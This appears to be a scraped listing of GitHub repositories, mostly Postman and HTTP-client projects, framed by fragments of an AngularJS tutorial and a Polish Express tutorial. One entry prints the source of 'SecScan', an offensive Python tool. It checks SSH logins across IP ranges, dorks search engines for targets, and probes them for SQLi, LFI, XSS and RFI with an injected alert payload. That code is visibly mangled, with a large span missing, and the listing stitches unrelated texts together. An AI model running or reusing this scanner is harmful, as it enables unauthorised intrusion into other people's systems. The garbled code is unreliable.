you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. | 0 stars | 0 watchers | 14 forks |
Kazark/vim-http-client browser, client, http |
Do you use POSTman or RESTClient for hitting HTTP APIs? What about doing it from Vim instead of your browser? | 6 stars | 6 watchers | 0 forks |
udinparla/aa.py address, admin, api blueprint, asyncapi, automat, automatic, automatically, class, correct, crawler, creation, data, file, find, free, google, header, host, html, http, import, json schema, link, list, location, mail, oauth, openid, output, pages, print, python, random, reading, result, route, router, running, search, seek, send, sends, site, source, sql, task, test, user |
#!/usr/bin/env python import re import hashlib import Queue from random import choice import threading import time import urllib2 import sys import socket try: import paramiko PARAMIKO_IMPORTED = True except ImportError: PARAMIKO_IMPORTED = False USER_AGENT = ["Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3", "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)", "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/535.38.6 (KHTML, like Gecko) Version/5.1 Safari/535.38.6", "Mozilla/5.0 (Macintosh; U; U; PPC Mac OS X 10_6_7 rv:6.0; en-US) AppleWebKit/532.23.3 (KHTML, like Gecko) Version/4.0.2 Safari/532.23.3" ] option = ' ' vuln = 0 invuln = 0 np = 0 found = [] class Router(threading.Thread): """Checks for routers running ssh with given User/Pass""" def __init__(self, queue, user, passw): if not PARAMIKO_IMPORTED: print 'You need paramiko.' print 'http://www.lag.net/paramiko/' sys.exit(1) threading.Thread.__init__(self) self.queue = queue self.user = user self.passw = passw def run(self): """Tries to connect to given Ip on port 22""" ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) while True: try: ip_add = self.queue.get(False) except Queue.Empty: break try: ssh.connect(ip_add, username = self.user, password = self.passw, timeout = 10) ssh.close() print "Working: %s:22 - %s:%s\n" % (ip_add, self.user, self.passw) write = open('Routers.txt', "a+") write.write('%s:22 %s:%s\n' % (ip_add, self.user, self.passw)) write.close() self.queue.task_done() except: print 'Not Working: %s:22 - %s:%s\n' % (ip_add, self.user, self.passw) self.queue.task_done() class Ip: """Handles the Ip range creation""" def __init__(self): self.ip_range = [] self.start_ip = raw_input('Start ip: ') self.end_ip = raw_input('End ip: ') self.user = raw_input('User: ') self.passw = raw_input('Password: ') self.iprange() def iprange(self): """Creates list of Ip's from Start_Ip to End_Ip""" queue = Queue.Queue() start = list(map(int, self.start_ip.split("."))) end = list(map(int, self.end_ip.split("."))) tmp = start self.ip_range.append(self.start_ip) while tmp != end: start[3] += 1 for i in (3, 2, 1): if tmp[i] == 256: tmp[i] = 0 tmp[i-1] += 1 self.ip_range.append(".".join(map(str, tmp))) for add in self.ip_range: queue.put(add) for i in range(10): thread = Router(queue, self.user, self.passw ) thread.setDaemon(True) thread.start() queue.join() class Crawl: """Searches for dorks and grabs results""" def __init__(self): if option == '4': self.shell = str(raw_input('Shell location: ')) self.dork = raw_input('Enter your dork: ') self.queue = Queue.Queue() self.pages = raw_input('How many pages(Max 20): ') self.qdork = urllib2.quote(self.dork) self.page = 1 self.crawler() def crawler(self): """Crawls Ask.com for sites and sends them to appropriate scan""" print '\nDorking...' for i in range(int(self.pages)): host = "http://uk.ask.com/web?q=%s&page=%s" % (str(self.qdork), self.page) req = urllib2.Request(host) req.add_header('User-Agent', choice(USER_AGENT)) response = urllib2.urlopen(req) source = response.read() start = 0 count = 1 end = len(source) numlinks = source.count('_t" href', start, end) while count alert('xssBYm0le');""" self.file = 'xss.txt' def run(self): """Checks Url for possible Xss""" while True: try: site = self.queue.get(False) except Queue.Empty: break if '=' in site: global vuln global invuln global np xsite = site.rsplit('=', 1)[0] if xsite[-1] != "=": xsite = xsite + "=" test = xsite + self.xchar try: conn = urllib2.Request(test) conn.add_header('User-Agent', choice(USER_AGENT)) opener = urllib2.build_opener() data = opener.open(conn).read() except: self.queue.task_done() else: if (re.findall("xssBYm0le", data, re.I)): self.xss(test) vuln += 1 else: print B+test + W+' > ' + str(vuln) + G+' Vulnerable Sites Found' + W print '>> ' + str(invuln) + G+' Sites Not Vulnerable' + W print '>> ' + str(np) + R+' Sites Without Parameters' + W if option == '1': print '>> Output Saved To sqli.txt\n' elif option == '2': print '>> Output Saved To lfi.txt' elif option == '3': print '>> Output Saved To xss.txt' elif option == '4': print '>> Output Saved To rfi.txt' W = "\033[0m"; R = "\033[31m"; G = "\033[32m"; O = "\033[33m"; B = "\033[34m"; def main(): """Outputs Menu and gets input""" quotes = [ '\[email protected]\n' ] print (O+''' ------------- -- SecScan -- --- v1.5 ---- ---- by ----- --- m0le ---- -------------''') print (G+''' -[1]- SQLi -[2]- LFI -[3]- XSS -[4]- RFI -[5]- Proxy -[6]- Admin Page Finder -[7]- Sub Domain Scan -[8]- Dictionary MD5 cracker -[9]- Online MD5 cracker -[10]- Check your IP address''') print (B+''' -[!]- If freeze while running or want to quit, just Ctrl C, it will automatically terminate the job. ''') print W global option option = raw_input('Enter Option: ') if option: if option == '1': Crawl() output() print choice(quotes) elif option == '2': Crawl() output() print choice(quotes) elif option == '3': Crawl() output() print choice(quotes) elif option == '4': Crawl() output() print choice(quotes) elif option == '5': Ip() print choice(quotes) elif option == '6': admin() aprint() print choice(quotes) elif option == '7': subd() print choice(quotes) elif option == '8': word() print choice(quotes) elif option == '9': OnlineCrack().crack() print choice(quotes) elif option == '10': Check().grab() print choice(quotes) else: print R+'\nInvalid Choice\n' + W time.sleep(0.9) main() else: print R+'\nYou Must Enter An Option (Check if your typo is corrected.)\n' + W time.sleep(0.9) main() if __name__ == '__main__': main() | 4 stars | 4 watchers | 0 forks |
httprunner/postman2case case, cases, http, httprunner, runner, test, testcase |
Convert Postman Collection Format to JSON/YAML testcases for HttpRunner. | 0 stars | 0 watchers | 8 forks |
vail130/gohttp browser, command, command line, extension, extensions, http, place, tool |
HTTP command line tool in Go. Replacement for Curl and browser extensions like Dev HTTP Client and Postman. | 3 stars | 3 watchers | 1 forks |
VonHeikemen/tinytina-js client, curl, http |
Command-line http client. Is like the mix of curl and postman that nobody asked for. | 3 stars | 3 watchers | 1 forks |
BestPracticeSchool/BPS-BaseDevelopment_1_2019 http, https |
Course: "Base of Development" by BestPractice School https://bestpracs.ru/ | 3 stars | 3 watchers | 1 forks |
gaohuia/HttpUnit http, light, support, supported, tool, tools |
Send http requests with sublime rather than tools like PostMan. Syntax hilight, Comment supported | 3 stars | 3 watchers | 0 forks |
vdespa/httpbin-postman-tests collection, http, test, tests |
Postman collection and tests | 0 stars | 0 watchers | 6 forks |
postmanlabs/newman-orb circleci, collection, collections, http, https, newman, running |
CircleCI Orb for running collections with Newman - https://circleci.com/orbs/registry/orb/postman/newman | 0 stars | 0 watchers | 4 forks |
someshkoli/dart-http-codegen codegen, http |
postman codegen for dart | 1 stars | 1 watchers | 1 forks |
vagabond1-1983/API-Testing http, httprunner, jmeter, runner |
API测试:postman,jmeter,yapi,httprunner,自研接口框架,ci | 1 stars | 1 watchers | 1 forks |
mmsrgit/spring-security-db auth, authentication, default, display, following, form, format, host, http, json, local, object, objective, operation, operations, play, require, required, secure, secured, security, spring, urls, user |
This objective of this project is to perform CRUD operations in a secured way. BASIC authentication is required to insert/update/read/delete the records from RECORDS table using following URLs. http://localhost:8080/all - GET http://localhost:8080/getSimpleRecord http://localhost:8080/secured/getRecords http://localhost:8080/secured/getRecord/2 http://localhost:8080/secured/createRecord - POST http://localhost:8080/secured/updateRecord - PUT http://localhost:8080/secured/deleteRecord - DELETE The URLs having secured in it, needs to be hit using BASIC authentication in POSTMAN using mmsr/mmsr as username and password. The default format of the records displayed is json. But you can also view the records in XML by appending the urls with ".xml" e.g. http://localhost:8080/secured/getAllRecords - JSON http://localhost:8080/secured/getAllRecords.xml - XML | 1 stars | 1 watchers | 1 forks |
laowensjr/Web-API-CRUD-Methods-cSharp download, http, https, test |
A Web API. Use POSTMAN (download at https://www.getpostman.com/downloads/) to test | 1 stars | 1 watchers | 0 forks |
ubaid-me/soapui2postman chrome, export, form, format, google, http, https, json, soap, soapui, source, store |
Converts SoapUI (https://www.soapui.org/) XML export to Postman (https://chrome.google.com/webstore/detail/postman/fhbjgbiflinjbdggehcddcbncdddomop?utm_source=chrome-ntp-icon) compatible json format. | 1 stars | 1 watchers | 0 forks |
vilimco/postman-to-http collection, file, http |
Convert your Postman collection to PHPStorms' .http file collection. | 1 stars | 1 watchers | 0 forks |
AnCh7/CityIndex.TradingAPI.Postman city, docs, http, index |
Postman Collection for Trading Api by CityIndex - http://docs.labs.cityindex.com | 1 stars | 1 watchers | 0 forks |
dowglasmaia/api-backend--school-management backend, changing, conducted, github, hibernate, http, https, school |
School Management System, audit with hibernate-envers, Test conducted with Postman. | front-end: https://github.com/dowglasmaia/school-management-front-end-Angular.gitDay: 15/08/2019 - changing repository to a Private, to continue the Project | 1 stars | 1 watchers | 0 forks |
gabrielbarban/api-twitter github, http, https, twitter |
https://github.com/twitterdev/postman-twitter-ads-api | 1 stars | 1 watchers | 0 forks |
bigzoo/matuba_api collection, collections, hackathon, http, https, transport |
Backend API during Where is transport hackathon. Postman Collection here: https://www.getpostman.com/collections/f3132fdfe959ba3f60c9 | 1 stars | 1 watchers | 0 forks |
jextop/postman http, https |
Postman可以这样用?使用技巧在线课程,赋能API测试和集成,网课:https://edu.51cto.com/sd/0b55b | 1 stars | 1 watchers | 0 forks |
retta-ti/geogrid-apis-postman geogrid, http, https, maps, test |
Projeto com as APIs do GeoGrid (https://geogridmaps.com.br/) para testar usando o Postman. | 1 stars | 1 watchers | 0 forks |
zengxiaoqi/sooket-tools boot, free, http, spring, springboot, tool, tools |
socket-tool 类似于soket-tool和postman的tcp和http连接工具,前端基于vue,后端基于springboot, 在线体验地址: http://mastertools.free.idcfengye.com | 1 stars | 1 watchers | 0 forks |
jmfayard/httplayground http, play, playground |
HTTP Playground | 1 stars | 1 watchers | 0 forks |
manigandand/Simple-Issue-Tracker-V2-SIT- collection, collections, http, https |
Aircto Test - Simple Issue Tracker V2 (SIT). Postman Collection: https://www.getpostman.com/collections/7c8f1844ca96f5e1b859 | 1 stars | 1 watchers | 0 forks |
MayMP/NodeJsExpressMongoDB center, collection, command, config, configuration, data, database, directory, download, example, folder, host, http, https, import, install, installed, json, local, mongo, mongod, mongodb, named, node, nodejs, posts, unit |
This is a very basic example of (`List All Data`, `Detail By Each Id`, `Create`, `Update`, `Delete`) in Node.js and MongoDB. Running Locally Make sure you have Node.js(`https://nodejs.org/en/`) and the MongoDB for 32-bit(`https://www.mongodb.org/dl/win32/i386`) and for others (`https://www.mongodb.com/download-center/community`) installed. You're gonna need to create a DB named `InterviewDB` and import from the `MongoDB(For Interview)` folder. And please create collection name `posts`. You can adjust the database configuration in `app/config/config.json`. You can run " node app.js " from the project directory in command prompt. You can call url(`localhost:8080`) from your `Postman` or `Restful`. | 1 stars | 1 watchers | 0 forks |
ZhiroMusikyan/httpServerProj handling, http, server, test |
Creating test server for handling Requests and Responses via Postman | 1 stars | 1 watchers | 0 forks |
ellucianEthos/postman-ethos-integration ethos, http, https, integration |
Example API calls for Ethos Integration using Postman Collections - https://www.getpostman.com/ | 0 stars | 0 watchers | 2 forks |
droidment/PostmanCollectionForTeslaApis collection, http, https, tesla |
Postman collection for Tesla APIs - Thanks https://www.teslaapi.io/ | 0 stars | 0 watchers | 1 forks |
dare-rider/restaurant_reservation_api 4107, collection, collections, http, https, reservation, rest, restaurant |
Postman Collection Link: https://www.getpostman.com/collections/c874107058b288d51bfc | 0 stars | 0 watchers | 1 forks |
ramadhan22/api_laravel collection, collections, http, https, laravel |
Link postman https://www.getpostman.com/collections/ecb538f54650f76a4444 | 0 stars | 0 watchers | 1 forks |
Sachielsc/Bookstore-API-testing-using-Mocha http, send, store, test, testing |
My third Mocha project (using Postman to send http request) | 0 stars | 0 watchers | 1 forks |
affan2/django-postman bitbucket, bucket, clone, django, http, https |
cloned from https://bitbucket.org/affan2/django-postman | 0 stars | 0 watchers | 1 forks |
IsaiaSilva/httparty_pokeapi automat, automation, http, party, ruby, spec |
API automation with httparty + postman + rspec + ruby gem | 0 stars | 0 watchers | 1 forks |
josephbuchma/postman-ruby collection, collections, export, exported, http, ruby |
Parse & make http requests from Postman's (getpostman.com) exported collections (Collection V2) | 0 stars | 0 watchers | 1 forks |
nhipham65/UI_API_Automation_Test automat, automation, http, https, json, place, placeholder, rest, site |
Complete UI (Katalon) and API (Postman) automation site: UI - http://demo.prestashop.com; API - https://jsonplaceholder.typicode.com/ | 0 stars | 0 watchers | 1 forks |
xijiz/postman debug, http, interface, method, remote |
remote interface debuger for http method(post, get) | 0 stars | 0 watchers | 1 forks |
xrayin/springboot-rest-image-retriever application, boot, current, directory, endpoint, endpoints, file, host, http, image, images, local, program, resource, resources, rest, retrieve, source, spring, spring boot, springboot, system |
A spring boot application that uses REST to retrieve an image. Images are currently saved in the directory resources/images for convenience. Best practice would be to save it to a file system. Call any of the endpoints with a program of your choice, I used Postman. e.g. GET -> http://localhost:8080/images/abcd.png | 0 stars | 0 watchers | 1 forks |
4lador/postman-hmac-sha1-http-prescript following, header, hmac, http, prescript, script, sha1, signature |
Postman Pre-Request Script that Generate HMAC-SHA1 valid 'Authorization' header following HTTP signature scheme | 0 stars | 0 watchers | 0 forks |
beekman/resty browser, client, http, rest, resty, runs |
RESTy is an API Server client appliction. It’s a lot like Postman or httpie, but it runs in the browser. | 0 stars | 0 watchers | 0 forks |
DJMare/express_http_RequestAndResponse_httpVerbsPostman express, http, operation, operations, verb, verbs |
A simple express Http Request and Response app using http verbs to view basic CRUD operations in Postman. | 0 stars | 0 watchers | 0 forks |
AJK55/postman_mercado bitcoin, http, https |
https://mercadobitcoin.net/api-doc/ | 0 stars | 0 watchers | 0 forks |
DJMare/express_http_RequestAndResponse_CheckingAgainstArray- array, check, express, http, query |
A simple express http request and response app using req.query to check against an array and view in Postman. | 0 stars | 0 watchers | 0 forks |
tomashchuk/booking auth, authorization, book, booking, heroku, http, https, login, register, test, testing |
REST API Booking Database with JWT authorization (using Bearer). Registration - https://bookingstest.herokuapp.com/auth/register/. Login - https://bookingstest.herokuapp.com/auth/login/ Root api: https://bookingstest.herokuapp.com/api/. Recommended to use Postman for testing purposes. | 0 stars | 0 watchers | 0 forks |
anurag8867/LoginSignUpNodeJs collection, collections, http, https, link |
postman link: https://www.getpostman.com/collections/5193609d92a73906c0ae | 0 stars | 0 watchers | 0 forks |
auzundere/postman-http-aplication description, http, script |
No description available. | 0 stars | 0 watchers | 0 forks |
bellsraafi/postman_httpbin_collections collection, collections, description, http, script |
No description available. | 0 stars | 0 watchers | 0 forks |
Boondockers-Welcome/django-postman bitbucket, bucket, django, docker, http, https |
Synced from https://bitbucket.org/psam/django-postman | 0 stars | 0 watchers | 0 forks |
cxloge/Postman http, https |
Postman简化了API开发。 使用业界唯一的完整API开发环境,轻松获得API-First解决方案。 入门 https://www.getpostman.com/ | 0 stars | 0 watchers | 0 forks |
DCOD-Forks/django-postman bitbucket, bucket, django, http, https |
Fork of https://bitbucket.org/psam/django-postman/ | 0 stars | 0 watchers | 0 forks |
developer-kikikaikai/swagger2-to-postman-sample developer, github, http, https, sample, swagger, swagger2 |
sample to use https://github.com/postmanlabs/swagger2-to-postman | 0 stars | 0 watchers | 0 forks |
doubleedged2005/httpbin-postman-tests description, http, script, test, tests |
No description available. | 0 stars | 0 watchers | 0 forks |
dsarangd/https-github.com-CiscoDevNet-postman-ciscospark cisco, description, github, http, https, script |
No description available. | 0 stars | 0 watchers | 0 forks |
ErTigre/httpbin-postman-tests description, http, script, test, tests |
No description available. | 0 stars | 0 watchers | 0 forks |
HP213/My_first_blockchain blockchain, chai, concept, current, hashi, http, https, local, locally, route, routes, running, server, server., web app |
This is a blockchain created with help of Python. This is basically a web app running locally on your server. This contains hashing algorithm using SHA256 and same concept of timestamp and nonce. Use Postman for better experience and all routes currently works on GET request. Download Postman from here-> https://www.getpostman.com/ | 0 stars | 0 watchers | 0 forks |
HP213/My_first_cryptocurrency action, chai, comments, connection, crypto, cryptocurrency, currency, http, local, locally, node, require, suggest, system, transactions, understanding, user |
Using Blockchain, I made my first cryptocurrency, I suggest using postman for better understanding. Baiscally we made an decentralized system of transferring cryptocurrency. It is runnig locally on http://127.0.0.1:5001/ you can chage port according to requirement and new user. Post request is made to add transactions and create a new node and get request to block new mine and get chain. Everything mentioned in code with comments, we have made three ports http://127.0.0.1:5002/, http://127.0.0.1:5003/, http://127.0.0.1:5004/, to show connections between three miners "A" "B" and "C". You can make more | 0 stars | 0 watchers | 0 forks |
mahadevshindhe/httpbin_postman_collection collection, description, devs, http, script |
No description available. | 0 stars | 0 watchers | 0 forks |
marykayrima/Postmann_Jsonplaceholder_testing http, https, json, place, placeholder, test, testing, todo |
https://jsonplaceholder.typicode.com/todos/ | 0 stars | 0 watchers | 0 forks |
marykayrima/Postman_dummy_testing dummy, employee, employees, example, http, rest, restapi, test, testing |
http://dummy.restapiexample.com/api/v1/employees | 0 stars | 0 watchers | 0 forks |
pateljp078/https-github.com-taylonr-postman description, github, http, https, script |
No description available. | 0 stars | 0 watchers | 0 forks |
PhilDolganov/httpbin-postman-tests description, http, script, test, tests |
No description available. | 0 stars | 0 watchers | 0 forks |
qaespence/REST_API_Testing_POSTMAN http, https, rest, site, test, testing |
REST API testing using Postman for the site https://gorest.co.in | 0 stars | 0 watchers | 0 forks |
raghwendra-sonu/APIChainingInPostman chai, data, http, https |
https://medium.com/@Raghwendra.sonu/postman-chain-api-requests-get-data-from-response-of-one-api-and-refer-in-another-api-d3bb184c2dd1 | 0 stars | 0 watchers | 0 forks |
raghwendra-sonu/APIDataDriverTestingWithPostman data, drive, driven, file, files, friend, http, https, json, link, river, source, test, testing |
https://medium.com/@Raghwendra.sonu/data-driven-testing-with-postman-using-csv-and-json-files-c4f112015eb3?source=friends_link&sk=d0e70700ef7d717ecb4c86dded9552ef | 0 stars | 0 watchers | 0 forks |
RandyZeleznak/httpbin-postman-test description, http, script, test |
No description available. | 0 stars | 0 watchers | 0 forks |
rishithm/https-github.com-salesforce-marketingcloud-postman-blob-master-SFMC.json.postman_collection cloud, collection, description, github, http, https, json, salesforce, script |
No description available. | 0 stars | 0 watchers | 0 forks |
romanfilimonchik/httpbin-postman-tests description, http, script, test, tests |
No description available. | 0 stars | 0 watchers | 0 forks |
sergeychubuk/httpbin-postman-tests description, http, script, test, tests |
No description available. | 0 stars | 0 watchers | 0 forks |
sunnygao9/httpbin-postman-tests description, http, script, test, tests |
No description available. | 0 stars | 0 watchers | 0 forks |
surendraitdc/https-github.com-taylonr-postman description, github, http, https, script |
No description available. | 0 stars | 0 watchers | 0 forks |
taysan003/httpbin-postman-test description, http, script, test |
No description available. | 0 stars | 0 watchers | 0 forks |
XccelerateOrg/ARCHIVED-simple_http_postman http, test, testing |
Simple HTTP for testing Postman | 0 stars | 0 watchers | 0 forks |
agafun/Restful-Booker-API-tests book, booker, heroku, http, https, rest, restful, test, tests |
API tests of https://restful-booker.herokuapp.com with Postman | 0 stars | 0 watchers | 0 forks |
apiraino/poor-postman http, https, wiki |
Experimenting with Gtk in Rust @ https://wiki.gnome.org/Hackfests/Rust2019 | 0 stars | 0 watchers | 0 forks |
aymkin/track-server auth, authorization, cloud, course, error, express, handling, hashi, http, https, learn, middleware, native, react, redux, server, track, udemy |
Back-end for Front-enders, за два часа можно просмотреть как с минимум усилий: установить express написать 4 эндпоинта подключить к MongoDB cloud базовое использование Postman что такое схемы и модели (Mongoose) зачем нужен JWT (Json Web Token) + как его имплементировать в проект что значит натереть и присолить пароль (salting and hashing password) и почему это по проавославному как ограничить доступ к данным не авторизированным пользователям (middleware authorizationRequire) обработка потенциальных ошибок (error handling) уроки 165-186 https://www.udemy.com/course/the-complete-react-native-and-redux-course/learn/lecture/15707662 | 0 stars | 0 watchers | 0 forks |
cpvariyani/identity-server-4-policy-based-authorization-.netcore admin, auth, authorization, demonstrate, enable, enabled, entity, example, http, https, integrate, integrated, microservice, microservices, public, role, sample, secure, server, server., service, services, spec, test, tested, user, users, video, youtube |
Identity Server 4 Role-based Authorization in .Net Core 2 Microservice, In this video, we have enabled the role based authorization using the Identity server. we have created 2 users admin and user and created the respective policy in microservices. In part 1, we have seen how to secure the public microservice, in this part, we have demonstrated how we can implement role-based authorization in Identity server 4 and .Net core. Creation of Identity Server4 in .Net core to secure public microservices with a practical example is explained here. In the part 1 of video, we have created IdentityServer4, created sample public microservice, integrated that microservice with identity server and last this securing microservice using identity server is tested using postman. Part 1 Create Identity Server 4 in .net core to secure Public microservices https://www.youtube.com/watch?v=LVYEq... Part 2 Identity Server 4 Role Based Authorization in .Net Core 2 Microservice | 0 stars | 0 watchers | 0 forks |
cpvariyani/kafka-implementation-.net-core-c- application, communication, console, consume, consumer, http, https, implementation, install, kafka, keeper, microservice, server, service, site, youtube |
youtube https://www.youtube.com/watch?v=ARqyWaZqn68&feature=youtu.be ..Practical Example for Use Apache Kafka In .NET Application, the demo for Kafka installation in .Net core and you can build Real-time Streaming Applications Using .NET Core c# and Kafka. Steps 1. Download Prerequisite for Kafka and zookeeper 2. Install Kafka and zookeeper 3. Create a topic in Kafka console 4. Start the Kafka producer server 5. Start the Kafka consumer server 6. Create .Net core microservice as a producer 7. Create .Net core application as a consumer 8. Test Kafka implementation using postman to see the communication between communication. | 0 stars | 0 watchers | 0 forks |
erthalion/django-postman bitbucket, bucket, django, github, http, https, mirror |
github mirror of https://bitbucket.org/erthalion/django-postman | 0 stars | 0 watchers | 0 forks |
Evilu/Translate-server example, host, http, local, server, slate |
Start the server, use Postman to translate the word world, for example http://localhost:3000/translate/klingon, enjoy! | 0 stars | 0 watchers | 0 forks |
Ghop11/postmanAutomationAnimalFacts animal, automat, automation, docs, endpoint, endpoints, facts, github, html, http, https |
API automation for animal facts. https://alexwohlbruck.github.io/cat-facts/docs/endpoints/facts.html | 0 stars | 0 watchers | 0 forks |
gksetu/httpbin-postman-tests http, jenkins, test, tests |
test using jenkins | 0 stars | 0 watchers | 0 forks |
gloryer/jsonwebtoken access, auth, authenticate, authenticates, authentication, back end, client, endpoint, exposes, form, format, http, information, issue, json, jsonwebtoken, registration, resource, send, server, server., source, test, tested, token, user, verify |
A demo back end server exposes user registration endpoint, user authentication endpoint, token endpoint and resource endpoint. The resource endpoint is protected by the JWT token. Only the client who possesses the valid token can access the resource. To get a token from the server, the client must authenticates itself to the server. To request the resource in the server, the client issue an http GET request to the resource endpoint, the server will verify the recieved jwt token. Once the token is valid, the server will send back the user information which indicated in the jwt token. Front-end has not been implemented so far. The back-end is tested using Postman. | 0 stars | 0 watchers | 0 forks |
gsuscastellanosSC/CursoBackendConNode.js backend, event, form, http, https, node, nodejs, program |
Introducción y bienvenida Guillermo Rodas será tu profesor en este curso, él tiene más 6 años dedicado a programar sólo en JavaScript y forma parte del equipo de Auth0, además de ser Google Developer Expert (GDE) en Web Technologies y organizador de eventos como Medellin CSS y CSS Conf. Requisitos antes de iniciar: Node y NPM Editor de texto ya sea vsCode, Atom o Sublime Text Navegador Chrome o Firefox Extensión JSON viewer Postman en @platzi https://platzi.com/clases/1646-backend-nodejs/22012-introduccion-y-bienvenida/ 💚💚💚 | 0 stars | 0 watchers | 0 forks |
gtardivo/API-GITLAB-POSTMAN docs, gitlab, html, http, https |
Usando API – GitLab – com o Postman (fonte:https://docs.gitlab.com/ee/api/README.html): | 0 stars | 0 watchers | 0 forks |
Gyanachand1/Blockchain action, chai, check, class, datetime, dump, endpoint, example, flask, form, function, github, host, html, http, https, import, index, install, installed, json, link, local, method, operation, previous, proof, proxy, query, send, server, server., sets, sort, user |
# Module 1 - Create a Blockchain # To be installed: # Flask==0.12.2: pip install Flask==0.12.2 # Postman HTTP Client: https://www.getpostman.com/ # Importing the libraries import datetime import hashlib import json from flask import Flask, jsonify # Part 1 - Building a Blockchain class Blockchain: def __init__(self): self.chain = [] self.create_block(proof = 1, previous_hash = '0') def create_block(self, proof, previous_hash): block = {'index': len(self.chain) + 1, 'timestamp': str(datetime.datetime.now()), 'proof': proof, 'previous_hash': previous_hash} self.chain.append(block) return block def get_previous_block(self): return self.chain[-1] def proof_of_work(self, previous_proof): new_proof = 1 check_proof = False while check_proof is False: hash_operation = hashlib.sha256(str(new_proof**2 - previous_proof**2).encode()).hexdigest() if hash_operation[:4] == '0000': check_proof = True else: new_proof += 1 return new_proof def hash(self, block): encoded_block = json.dumps(block, sort_keys = True).encode() return hashlib.sha256(encoded_block).hexdigest() def is_chain_valid(self, chain): previous_block = chain[0] block_index = 1 while block_index posiada atrybuty takie jak action oraz method. Atrybut action pozwala określić, gdzie wysłać dane z formularza w momencie, gdy zostanie on zatwierdzony. W naszym przypadku będzie to http://localhost:3000/userform. Atrybut method określa metodę, jakiej chcemy użyć - w naszym przypadku niech będzie to GET. Przykładowo, Twój index.html może wyglądać tak: Node Hello world example First Name: Last Name: Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze 